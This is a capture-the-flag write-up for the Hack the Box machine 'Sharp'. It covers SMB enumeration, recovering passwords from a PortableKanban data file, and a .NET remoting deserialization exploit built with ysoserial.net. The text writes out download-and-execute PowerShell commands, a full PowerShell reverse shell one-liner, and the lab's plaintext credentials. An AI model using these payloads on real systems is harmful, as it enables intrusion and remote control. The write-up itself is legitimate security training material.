Posts Hack the Box - Sharp Writeup
Post
Cancel

Hack the Box - Sharp Writeup

HTB - Sharp

Overview

Descriptive information card about machine

This hard-difficulty Windows machine from Hack the Box was both challenging and fun. As the name suggests, it focuses on a few user-made code projects that use the C Sharp programming language. This challenge revolves around both reverse engineering this code and compiling it to escalate privileges. For the most part this machine was pretty straight-forward, with each step laid out clearly with a little bit of standard enumeration. The challenge mainly came from figuring out how to get to the next step after finding the hidden gems in the code. I hope you enjoy this challenge as much as I did!

Useful Skills and Tools

Recursively download all files in a network share with smbclient

First, connect to a remote network share using smbclient. When the prompt changes to smb: \> type the following commands one at a time.

1
2
3
4
5
smb: \> tarmode
tarmode is now full, system, hidden, noreset, noverbose
smb: \> recurse
smb: \> prompt
smb: \> mget ./

Create a network share

With PowerShell

1
New-SmbShare -Name $share_name -Path $directory -FullAccess $username

With cmd.exe

1
net share $name=$directory grant:$username,full

Zip and unzip files with PowerShell

  • https://www.howtogeek.com/670314/how-to-zip-and-unzip-files-using-powershell/
1
Compress-Archive -Path $in_path -DestinationPath $out_path\$out_filename

From Windows zip up the files in the $in_path directory specifying the $out_path and $out_filename.

1
Expand-Archive -Path $in_path/$zip_file -DestinationPath $out_path

To recover your files afterwards, specify the $in_path to the $zip_file and the $out_path you want the files extracted to.

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.219. The options I regularly use are:

FlagPurpose
-p-A shortcut which tells nmap to scan all ports
-vvvGives very verbose output so I can see the results as they are found, and also includes some information not normally shown
-sCEquivalent to --script=default and runs a collection of nmap enumeration scripts against the target
-sVDoes a service version scan
-oA $nameSaves all three formats (standard, greppable, and XML) of output with a filename of $name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ nmap -sCV -p- -n -Pn -vvv -oA sharp 10.10.10.219
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-20 19:10 EDT
Nmap scan report for 10.10.10.219

PORT     STATE SERVICE            REASON  VERSION
135/tcp  open  msrpc              syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn        syn-ack Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?      syn-ack
5985/tcp open  http               syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp open  storagecraft-image syn-ack StorageCraft Image Manager
8889/tcp open  mc-nmf             syn-ack .NET Message Framing
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -49m26s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 45554/tcp): CLEAN (Timeout)
|   Check 2 (port 34587/tcp): CLEAN (Timeout)
|   Check 3 (port 60685/udp): CLEAN (Timeout)
|   Check 4 (port 49995/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-04-20T22:24:15
|_  start_date: N/A

Nmap done: 1 IP address (1 host up) scanned in 211.94 seconds

There were a handful of ports open on this machine. Most were standard Windows ports such as 135 & 139 - RPC, 445 - SMB, and 5985 - Windows Remote Management. There were also two that stood out as different. Port 8888 was reported as ‘StorageCraft Image Manager’ and port 8889 as ‘.NET Message Framing Service’. I decided to start off looking for low-hanging fruit by checking out the open RPC ports.

Port 135 - RPC

Whenever I am testing open RPC port the first thing I attempt is to connect without authentication.

1
2
3
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ rpcclient -U "" -N 10.10.10.219
rpcclient $>

I was able to connect using an RPC null session.

1
2
3
4
5
rpcclient $> srvinfo
        10.10.10.219   Wk Sv NT SNT         
        platform_id     :       500
        os version      :       10.0
        server type     :       0x9003

Unfortunately, I was only able to get the server information as none of the other commands were working.

Port 445 - SMB

Next I moved to the other potential “easy-win” port, Server Message Block. This port can often lead to access of open network shares, or in the case of serious miscofiguration can let an attacker gain full access through named pipe impersonation.

1
2
3
4
5
6
7
8
9
10
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ smbmap -H 10.10.10.219
[+] IP: 10.10.10.219:445        Name: 10.10.10.219                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     NO ACCESS
        IPC$                                                    NO ACCESS       Remote IPC
        kanban                                                  READ ONLY

I was able to list shares anonymously, which showed that I had read-only access to a kanban share. This was interesting, because this was the name of a software development/project management strategy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ smbclient -U "" -N //10.10.10.219/kanban/
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Nov 14 13:56:03 2020
  ..                                  D        0  Sat Nov 14 13:56:03 2020
  CommandLine.dll                     A    58368  Wed Feb 27 03:06:14 2013
  CsvHelper.dll                       A   141312  Wed Nov  8 08:52:18 2017
  DotNetZip.dll                       A   456704  Wed Jun 22 16:31:52 2016
  Files                               D        0  Sat Nov 14 13:57:59 2020
  Itenso.Rtf.Converter.Html.dll       A    23040  Thu Nov 23 11:29:32 2017
  Itenso.Rtf.Interpreter.dll          A    75776  Thu Nov 23 11:29:32 2017
  Itenso.Rtf.Parser.dll               A    32768  Thu Nov 23 11:29:32 2017
  Itenso.Sys.dll                      A    19968  Thu Nov 23 11:29:32 2017
  MsgReader.dll                       A   376832  Thu Nov 23 11:29:32 2017
  Ookii.Dialogs.dll                   A   133296  Thu Jul  3 17:20:12 2014
  pkb.zip                             A  2558011  Thu Nov 12 15:04:59 2020
  Plugins                             D        0  Thu Nov 12 15:05:11 2020
  PortableKanban.cfg                  A     5819  Sat Nov 14 13:56:01 2020
  PortableKanban.Data.dll             A   118184  Thu Jan  4 16:12:46 2018
  PortableKanban.exe                  A  1878440  Thu Jan  4 16:12:44 2018
  PortableKanban.Extensions.dll       A    31144  Thu Jan  4 16:12:50 2018
  PortableKanban.pk3                  A     2080  Sat Nov 14 13:56:01 2020
  PortableKanban.pk3.bak              A     2080  Sat Nov 14 13:55:54 2020
  PortableKanban.pk3.md5              A       34  Sat Nov 14 13:56:03 2020
  ServiceStack.Common.dll             A   413184  Wed Sep  6 07:18:22 2017
  ServiceStack.Interfaces.dll         A   137216  Wed Sep  6 07:17:30 2017
  ServiceStack.Redis.dll              A   292352  Wed Sep  6 07:02:24 2017
  ServiceStack.Text.dll               A   411648  Tue Sep  5 23:38:18 2017
  User Guide.pdf                      A  1050092  Thu Jan  4 16:14:28 2018

                10357247 blocks of size 4096. 7406191 blocks available

I used smbclient to list the files that existed in the kanban share. There were a bunch of files related to a program called PortableKanban. The User Guide looked like something I would want to read through. I did a web search for the name of the program, but it did not reveal anything useful.

1
2
3
4
5
6
7
smb: \> tarmode
tarmode is now full, system, hidden, noreset, noverbose
smb: \> recurse
smb: \> prompt
smb: \> mget .
NT_STATUS_OBJECT_NAME_INVALID listing \.
smb: \> mget ./

The above commands allowed me to recursively download all of the files in the folder. There were a bunch of .dll files that I really hoped I wasn’t going to have to decompile…

PortableKanban.exe

The user manual for the portable kanban executable

If you are going to share tasks with someone do not try to share data file and/or Portable Kanban folder over the network, it won’t work. The only possible way is using Redis database server (http://redis.io/).

I had to be on the lookout for a redis server to see if I could connect to a remote instance.

Table of the user information fields

The PDF had a lot of information in it, from configuring remote access and storage of the database, to setting up user accounts.

There is the only one default user: “Administrator” with blank password. It’s recommended to change the administrator’s password as soon as you start using Portable Kanban with actual data. There is practically no way to restore dministrator’s password if it is lost.

I needed to check to see if the Administrator password had been changed.

Information about backing up and restoring the database

Plugins are standalone libraries (DLL) developed to extend functionality of Portable Kanban. Plugins may directly access and manipulate existing data, so they have to be used with care. Only power users and administrators can run plugins.

So all of those .dll files were plugins. I wonder if there is a way to get code execution through a malicious .dll plugin here.

Instructions on developing plugins for the kanban program

The .pk3 file

Information showing the pk3 file was the database

From the Q&A section I found out that there was a pk3 file that held the data for the program.

1
{"Columns":[{"Id":"4757781032fd41b2a4511822e2c08850","SortOrder":0,"Name":"Demo","Limit":0,"TaskOrder":{"SortType":"None","Parameters":[{"Field":"Completed","SortOrder":"Descending"},{"Field":"Deadline","SortOrder":"Ascending"},{"Field":"Priority","SortOrder":"Descending"},{"Field":"Topic","SortOrder":"Ascending"},{"Field":"Person","SortOrder":"Ascending"}]},"AutoComplete":false,"ResetCompleted":false,"TimeStamp":637409769443121006}],"Tasks":[{"Id":"33870d6dfe4146718ba0b2c9f7bc05cf","SeriesId":"00000000000000000000000000000000","SortOrder":"oGdBKcFw","ColumnId":"4757781032fd41b2a4511822e2c08850","TopicId":"00000000000000000000000000000000","PersonId":"00000000000000000000000000000000","Text":"New Task","Priority":"Low","Created":"\/Date(1605380100000+0100)\/","CreatedBy":"e8e29158d70d44b1a1ba4949d52790a0","Modified":"\/Date(-62135596800000)\/","ModifiedBy":"00000000000000000000000000000000","Deadline":"\/Date(1605308400000+0100)\/","HasDeadline":false,"Completed":"\/Date(1605308400000+0100)\/","CompletedBy":"00000000000000000000000000000000","Done":false,"Canceled":false,"Link":"","Subtasks":[],"Tags":[],"Estimate":0,"Progress":0,"Points":0,"Comments":[],"CustomFields":{},"TimeStamp":637409769542424146}],"TimeTracks":[],"Persons":[],"Topics":[],"Tags":[],"Views":[],"Users":[{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"k+iUoOvQYG98PuhhRC7/rg==","Role":"Admin","Inactive":false,"TimeStamp":637409769245503731},{"Id":"0628ae1de5234b81ae65c246dd2b4a21","Name":"lars","Initials":"","Email":"","EncryptedPassword":"Ua3LyPFM175GN8D3+tqwLA==","Role":"User","Inactive":false,"TimeStamp":637409769265925613}],"ServiceMessages":[],"CustomFieldDescriptors":[],"MetaData":{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\/Date(1605380100000+0100)\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\/Date(-62135596800000-0000)\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637409769001918463}}

This file looked like the local data storage file, and was just a simple text document. I immediately picked out the words EncryptedPassword in the middle of it. There were two of them, one for Administrator, and one for lars.

1
2
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ diff ./kanban/PortableKanban.pk3 ./kanban/PortableKanban.pk3.bak

There was a backup of this file in the same directory, but it seemed to be exactly the same as the working file.

1
2
3
4
5
6
7
8
9
10
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ md5sum ./kanban/PortableKanban.pk3.bak
0e3d7c07174011699fa4e1d29f02662b  ./kanban/PortableKanban.pk3.bak
                                   
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ md5sum ./kanban/PortableKanban.pk3    
0e3d7c07174011699fa4e1d29f02662b  ./kanban/PortableKanban.pk3
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ cat ./kanban/PortableKanban.pk3.md5   
0e3d7c07174011699fa4e1d29f02662b

This was verified with the md5 hash of the files. I hoped that this was actual user data and not the demo data the User Guide mentioned.

The changelog for the program shows the use of the md5 file

The changelog in the User Guide showed that the MD5 file was used to verify the integrity of the data file. If I had to modify the data file at some point I would need to be sure to recompute the hash as well.

1
2
3
4
5
6
7
8
9
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ md5sum ./kanban/PortableKanban.pk3
5218fec7f1b20452ecc3458c3eefe5e2  ./kanban/PortableKanban.pk3
                                                                                                       
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ mv ./kanban/PortableKanban.pk3.md5 ./kanban/PortableKanban.md5.bak
                                                                                                       
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ echo 5218fec7f1b20452ecc3458c3eefe5e2 > ./kanban/PortableKanban.md5

Since the Administrator password was allowed to be blank, I deleted it from the file and recomputed the hash. I hoped that this would allow me to run the program to see what information I could find.

Running PortableKanban.exe

1
2
3
┌──(zweilos㉿kali)-[~/htb/sharp/kanban]
└─$ wine PortableKanban.exe
0009:err:mscoree:CLRRuntimeInfo_GetRuntimeHost Wine Mono is not installed

I got an error while running the program in Wine. It sounded to me like the program needed .Net to run.

Login window with the name Administrator and no password

Instead of trying to troubleshoot this I copied the folder over to a Windows VM and ran it there instead. I was able to login using the username Administrator with a blank password.

The kanban program didn't have a very informative interface

The application was pretty sparse, with a row of unlabled icons across the top and the label ‘Demo (1)’ on the current project.

An about page in the Portable Kanban program

I found an about page that showed version information for the program along with the names of the dependencies.

Users tab with a table of user parameters from the pk3 file

I found a users tab that held the user parameter data I had seen from the User Guide. Since I was logged in as an administrator I was able to view the password in plain text. lars’ password was G123HHrth234gRG. Since I was able to modify users, I changed lars to be an administrator and logged out. Next I set the Administrator account’s password to the value I found it in and logged in as lars, hoping I could get the other password as well.

1
2
3
4
5
6
7
┌──(zweilos㉿kali)-[~/htb/sharp/kanban]
└─$ mv ./PortableKanban.md5 ./PortableKanban.md5.bak2                                                 
┌──(zweilos㉿kali)-[~/htb/sharp/kanban]
└─$ md5sum ./PortableKanban.pk3
3f7b191b0281dd65ff31f1e77bec5cdb  ./PortableKanban.pk3                                              
┌──(zweilos㉿kali)-[~/htb/sharp/kanban]
└─$ echo 3f7b191b0281dd65ff31f1e77bec5cdb > ./PortableKanban.md5

I made the modifications to the file, then recomputed the has again.

Both user's passwords were visible now

After logging again as lars I was now able to see both user’s passwords. The password for Administrator was G2@$btRSHJYTarg.

1
2
3
4
5
6
7
8
9
10
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ evil-winrm -u lars -p G123HHrth234gRG -i 10.10.10.219   

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError   

Error: Exiting with code 1

I tried logging in with Evil-WinRM using both passwords and both usernames but was not successful.

1
2
3
4
5
6
7
8
9
10
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ smbmap -u lars -p G123HHrth234gRG -H 10.10.10.219
[+] IP: 10.10.10.219:445        Name: 10.10.10.219                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     READ ONLY
        IPC$                                                    READ ONLY       Remote IPC
        kanban                                                  NO ACCESS

However, I was able to enumerate shares again using the username lars and password G123HHrth234gRG. The user lars had read access to a new share called dev and to the IPC$ share.

SMB /IPC$ Share

1
2
3
4
5
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ smbclient -U "lars" //10.10.10.219/IPC$/ G123HHrth234gRG
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_INVALID_INFO_CLASS listing \*

Connecting to the IPC$ share did not give me access to the filesystem at all.

SMB /dev share

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ smbclient -U "lars" //10.10.10.219/dev/ G123HHrth234gRG
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Nov 15 06:30:13 2020
  ..                                  D        0  Sun Nov 15 06:30:13 2020
  Client.exe                          A     5632  Sun Nov 15 05:25:01 2020
  notes.txt                           A       70  Sun Nov 15 08:59:02 2020
  RemotingLibrary.dll                 A     4096  Sun Nov 15 05:25:01 2020
  Server.exe                          A     6144  Mon Nov 16 06:55:44 2020

                10357247 blocks of size 4096. 7418870 blocks available
smb: \> tarmode
tarmode is now full, system, hidden, noreset, noverbose
smb: \> recurse
smb: \> prompt
smb: \> mget ./*
getting file \Client.exe of size 5632 as Client.exe (20.5 KiloBytes/sec) (average 20.5 KiloBytes/sec)
getting file \notes.txt of size 70 as notes.txt (0.3 KiloBytes/sec) (average 10.7 KiloBytes/sec)
getting file \RemotingLibrary.dll of size 4096 as RemotingLibrary.dll (17.3 KiloBytes/sec) (average 12.7 KiloBytes/sec)
getting file \Server.exe of size 6144 as Server.exe (24.6 KiloBytes/sec) (average 15.6 KiloBytes/sec)

I connected to the dev share, and saw a few files. I exfiltrated these files to my computer and started to go through them to see what I had found.

1
2
3
4
5
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ cat notes.txt 
Todo:
    Migrate from .Net remoting to WCF
    Add input validation

The file notes.txt only had a few lines in it. It was a todo list that mentioned that they were currently using .Net remoting and had yet to put in any input validation. Since I knew that the RemotingLibrary.dll was written in .net, I opened it in ILSpy to see if I could find anything useful.

A dissassembled view of the Remoting Library showing the .net version

There was no information to be found in the dll other than the .NET version of 4.5

1
2
3
4
5
6
7
8
9
10
11
12
internal class Client
{
    private static void Main(string[] args)
    {
        //IL_0000: Unknown result type (might be due to invalid IL or missing references)
        //IL_000b: Expected O, but got Unknown
        ChannelServices.RegisterChannel((IChannel)(object)new TcpChannel(), true);
        IDictionary channelSinkProperties = ChannelServices.GetChannelSinkProperties((object)(Remoting)Activator.GetObject(typeof(Remoting), "tcp://localhost:8888/SecretSharpDebugApplicationEndpoint"));
        channelSinkProperties["username"] = "debug";
        channelSinkProperties["password"] = "SharpApplicationDebugUserPassword123!";
    }
}

The code in the file Server.exe was also not very interesting, but the Client.exe held some useful information. Apparently the developer had left a debug hook in the application that I could connect to using the endpoint "tcp://localhost:8888/SecretSharpDebugApplicationEndpoint") on port 8888 of the local machine using the username debug and the password SharpApplicationDebugUserPassword123!. Now I needed to find a way to access this.

  • https://www.codeproject.com/articles/29945/all-you-need-to-know-about-net-remoting
  • https://askubuntu.com/questions/841847/mono-package-for-wine-is-not-installed

It looked like .Net remoting relies on an XML configuration that I did not have access to.

Some of the c sharp code revealing the port number 8888

I noticed that the server source code mentions that rejectRemoteRequests was set to “false” along with the port number 8888. I thought that maybe I could use this to connect without port forwarding or being on the local machine.

1
8888/tcp open  storagecraft-image syn-ack StorageCraft Image Manager

I checked back to my nmap scan results and noticed that port 8888 was listed as open.

Port 8888

1
2
3
4
5
6
7
8
9
10
┌──(zweilos㉿kali)-[~/htb/sharp/kanban]
└─$ telnet 10.10.10.219 8888                                                                       1 ⨯
Trying 10.10.10.219...
Connected to 10.10.10.219.
Escape character is '^]'.
debug
SharpApplicationDebugUserPassword123!
ls
dir
Connection closed by foreign host.

I tried connecting to port 8888 using the browser but it just timed out. I was able to connect to the port using telnet, but there was no banner and no commands seemed to do anything.

Exploiting the .Net RemotingService

  • https://github.com/tyranid/ExploitRemotingService

I did some research on now to exploit the .Net remoting service and found one that someone had made in 2019. I hoped that it would still work against this configuration.

The build environment showing the successfully compiled exploit and dependencies

I had to download and build the code using Visual Studio. I downloaded the development enviroment VM from Microsoft from here. This VM comes with a fully installed version of Visual Studio 2019 in a Windows 10 Enterprise enviroment. Perfect for doing testing in!

warning about upgrading build enviroment for other people's projects

1
2
┌──(zweilos㉿kali)-[~/htb/sharp]
└─$ wine msiexec /i ~/Downloads/wine-mono-6.1.1-x86.msi

Needed >= .net 4.5 to run ExploitRemotingService.exe so I installed the newest for mono from their website.

  • https://dl.winehq.org/wine/wine-mono/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(zweilos㉿kali)-[~/htb/sharp/Debug]
└─$ wine ExploitRemotingService.exe                    
Must specify a URI and command
ExploitRemotingService [options] uri command [command args]
Copyright (c) James Forshaw 2014

Uri:
The supported URI are as follows:
tcp://host:port/ObjName   - TCP connection on host and portname
ipc://channel/ObjName     - Named pipe channel

Options:

  -s, --secure               Enable secure mode
  -p, --port=VALUE           Specify the local TCP port to listen on
  -i, --ipc=VALUE            Specify listening pipe name for IPC channel
      --user=VALUE           Specify username for secure mode
      --pass=VALUE           Specify password for secure mode
      --ver=VALUE            Specify version number for remote, 2 or 4
      --usecom               Use DCOM backchannel instead of .NET remoting
      --remname=VALUE        Specify the remote object name to register
  -v, --verbose              Enable verbose debug output
      --useser               Uses old serialization tricks, only works on 
                               full type filter services
      --uselease             Uses new serialization tricks by abusing lease 
                               mechanism.
      --nulluri              Don't send the URI header to the server
      --autodir              When useser is specified try and automatically 
                               work out the installdir parameter from the 
                               server's current directory.
      --installdir=VALUE     Specify the install directory of the service 
                               executable to enable full support with useser
      --path=VALUE           Specify an output path to write the request data 
                               rather than to a channel.
  -h, -?, --help             

Commands:
exec [-wait] program [cmdline]: Execute a process on the hosting server
cmd  cmdline                  : Execute a command line process and display stdout
put  localfile remotefile     : Upload a file to the hosting server
get  remotefile localfile     : Download a file from the hosting server
ls   remotedir                : List a remote directory
run  file [args]              : Upload and execute an assembly, calls entry point
user                          : Print the current username
ver                           : Print the OS version
raw base64_object|file        : Send a raw serialized object to the service.

I was able to either send the connection through tcp port or named pipe. I seemed to have both at my disposal…

Using a Windows VM

After running into too many errors with wine and getting .net and mono to work, I decided just to move over to a Windows VM instead. I had a Windows developer image from Microsoft.

1
2
3
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug> ./ExploitRemotingService.exe tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint ver
Error, couldn't detect version, using host: 4.0.30319.42000
Detected version 4 server

The program seemed to be working. I added -s to put it in secure mode since I seemed to need to use a username and password

1
2
3
4
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug> ./ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint cmd whoami
Error, couldn't detect version, using host: 4.0.30319.42000
Detected version 4 server
System.Security.Authentication.InvalidCredentialException: The server has rejected the client credentials. ---> System.ComponentModel.Win32Exception: The logon attempt failed

Adding the parameter --ver=4 got rid of the “couldnt detect version” error, but I still

1
2
3
4
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug> ./ExploitRemotingService.exe -s --user="debug" --pass="SharpApplicationDebugUserPassword123!" --ver=4 tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw
Must specify base64 encoded string or a file containing the raw data.
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug> ./ExploitRemotingService.exe -s --user="debug" --pass="SharpApplicationDebugUserPassword123!" --ver=4 tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw Y21kLmV4ZSAvYyB3aG9hbWk=
System.Runtime.Serialization.SerializationException: The input stream is not a valid binary format. The starting contents (in bytes) are: 63-6D-64-2E-65-78-65-20-2F-63-20-77-68-6F-61-6D-69 ...

After testing a lot of the different options and getting credentials rejected errors, I got a different error with the raw option. I tried base64 encoding cmd.exe /c whoami but it said the serialization wasnt a valid binary format

ysoserial

  • https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
  • https://notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
  • https://github.com/pwntester/ysoserial.net

Some more research led to this GitHub page with a project that called itself:

A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

Since this server relies on xml deserialization, and the notes.txt from earlier mentions that input sanitization is still a “todo”, this may work.

1
2
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug\Release> ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "wget http://10.10.14.172:8090/" -t
AAEAAAD/////

Used ysoserial.exe to take my payload and make it a base64 serialized object

1
2
3
System.InvalidCastException: Unable to cast object of type 'System.Management.Automation.PSObject' to type 'System.Runtime.Remoting.Messaging.IMessage'.
   at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

Got back this error after running the exploit with this payload

1
2
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug\Release> .\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd.exe /c curl http://10.10.14.172:8090/"
AAEAAAD/////

After a lot of trial and error, I came up with this working payload.

1
2
3
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
   at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

Using the base64 format I kept getting this error,

1
2
3
PS C:\Users\User\AppData\Local\Programs\Python\Python39> ./python -m http.server 8090
Serving HTTP on :: port 8090 (http://[::]:8090/) ...
::ffff:10.10.10.219 - - [23/Apr/2021 21:06:54] "GET / HTTP/1.1" 200 -

But the payload still executed. I wondered if I was able to send myself a reverse shell

1
2
3
4
5
6
7
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug\Release> .\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.172:8090/test.ps1')"
At line:1 char:1
+ .\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate - ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

My Windows VM did not like me trying to base64 encode this string, since using IEX to execute things from the web has been deemed to be only used for malicious purposes :P

1
2
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug\Release> .\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.172:8090/test.ps1')"
AAEAAAD/////AQAAAAAAAAAMA

I was able to compile my payload after disabling my antivirus

1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.14.172",8091);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

My powershell reverse shell script

1
::ffff:10.10.10.219 - - [23/Apr/2021 21:21:53] "GET /test.ps1 HTTP/1.1" 200 -

I executed my payload, which downloaded my powershell script, but unfortunately did not seem to work as I did not get any connections to my netcat listener. I decided to try checking if I could get the script to ping my machine

Wireshark output showing that I could successfully ping my machine from the victim

I was able to sucessfully execute the script on the remote machine, so I tried finding a different reverse shell

  • https://github.com/ivan-sincek/powershell-reverse-tcp
1
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug\Release> .\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.172:8090/test2.ps1')"

I saved this new reverse shell to test2.ps1 and created a new base64 stream with ysoserial.exe.

1
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug\Release> ../ExploitRemotingService.exe -s --ver=4 --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQAAAAAAAAA

Then I executed my payload

Initial Foothold

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug\Release> .\ncat.exe -lvn 9000
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from 10.10.10.219:49722.
PS>whoami /all

USER INFORMATION
----------------

User Name  SID
========== ============================================
sharp\lars S-1-5-21-294878639-2649470188-886412631-1007


GROUP INFORMATION
-----------------

Group Name                             Type             SID                                          Attributes

====================================== ================ ============================================ ==================================================
Everyone                               Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
SHARP\dev                              Alias            S-1-5-21-294878639-2649470188-886412631-1001 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4                                      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
